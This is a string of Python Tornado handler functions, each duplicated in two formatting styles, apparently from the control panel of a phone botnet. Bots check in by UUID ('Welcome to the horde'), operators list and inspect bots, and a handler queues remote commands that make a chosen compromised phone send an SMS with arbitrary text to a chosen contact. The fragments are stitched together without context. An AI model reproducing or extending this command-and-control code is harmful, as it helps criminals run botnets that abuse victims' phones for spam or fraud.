def get(self, *args, **kwargs): ''' Bots come here and say hello ''' bot = PhoneBot.by_uuid(self.request.headers['Uuid']) if bot == None: bot = PhoneBot( uuid=self.request.headers['Uuid'].encode('utf-8', 'ignore')) self.dbsession.add(bot) self.dbsession.flush() self.write("Welcome to the horde") else: self.write("Pink evil robots") self.finish()
def get(self, *args, **kwargs): try: bot_id = self.get_argument("bot_id") bot = PhoneBot.by_id(bot_id) if bot == None: raise ValueError except: self.write("Error") self.finish() return self.render("user/botdetails.html", bot = bot)
def render(self, *args, **kwargs): session_manager = SessionManager.Instance() session = session_manager.get_session(self.handler.get_secure_cookie('auth'), self.request.remote_ip) if session != None: if session.data['menu'] == 'user': return self.render_string('sidebar/user.html', bots = PhoneBot.get_all() ) elif session.data['menu'] == 'admin': return self.render_string('sidebar/user.html', uri = self.handler.request.uri) return self.render_string('sidebar/public.html', uri = self.handler.request.uri)
def get(self, *args, **kwargs): try: bot_id = self.get_argument("bot_id") bot = PhoneBot.by_id(bot_id) if bot == None: raise ValueError except: self.write("Error") self.finish() return self.render("user/botdetails.html", bot=bot)
def get(self, *args, **kwargs): ''' Bots come here and say hello ''' bot = PhoneBot.by_uuid(self.request.headers['Uuid']) if bot == None: bot = PhoneBot(uuid = self.request.headers['Uuid'].encode('utf-8', 'ignore')) self.dbsession.add(bot) self.dbsession.flush() self.write("Welcome to the horde") else: self.write("Pink evil robots") self.finish()
def render(self, *args, **kwargs): session_manager = SessionManager.Instance() session = session_manager.get_session( self.handler.get_secure_cookie('auth'), self.request.remote_ip) if session != None: if session.data['menu'] == 'user': return self.render_string('sidebar/user.html', bots=PhoneBot.get_all()) elif session.data['menu'] == 'admin': return self.render_string('sidebar/user.html', uri=self.handler.request.uri) return self.render_string('sidebar/public.html', uri=self.handler.request.uri)
def post(self, *args, **kwargs): """ Creates SMS send message commands """ try: bot_id = self.get_argument("bot-id") contact_id = self.get_argument("sms-contact") text_message = self.get_argument("sms-text") except: self.render("user/error.html", operation="Send SMS", errors="Missing parameters") return bot = PhoneBot.by_id(bot_id) cmd = {"op": "sms", "phone_number": Contact.by_id(contact_id).phone_number, "message": text_message} rcommand = RemoteCommand(phone_bot_id=bot.id, command=json.dumps(cmd).encode("utf-8", "ignore")) self.dbsession.add(rcommand) self.dbsession.flush() self.render("user/smssuccess.html")
def post(self, *args, **kwargs): ''' Creates SMS send message commands ''' try: bot_id = self.get_argument("bot-id") contact_id = self.get_argument("sms-contact") text_message = self.get_argument("sms-text") except: self.render("user/error.html", operation = "Send SMS", errors = "Missing parameters") return bot = PhoneBot.by_id(bot_id) cmd = { 'op': 'sms', 'phone_number': Contact.by_id(contact_id).phone_number, 'message': text_message, } rcommand = RemoteCommand( phone_bot_id = bot.id, command = json.dumps(cmd).encode('utf-8', 'ignore'), ) self.dbsession.add(rcommand) self.dbsession.flush() self.render("user/smssuccess.html")
def get(self, *args, **kwargs): ''' Display the default user page ''' user = User.by_user_name(self.session.data['user_name']) self.render('user/home.html', bots = PhoneBot.get_all())
def get_current_user(self): return PhoneBot.by_uuid(self.request.headers['Uuid'].encode('utf-8', 'ignore'))
def get_current_user(self): return PhoneBot.by_uuid(self.request.headers['Uuid'].encode( 'utf-8', 'ignore'))
def get(self, *args, **kwargs): """ Display the default user page """ user = User.by_user_name(self.session.data["user_name"]) self.render("user/home.html", bots=PhoneBot.get_all())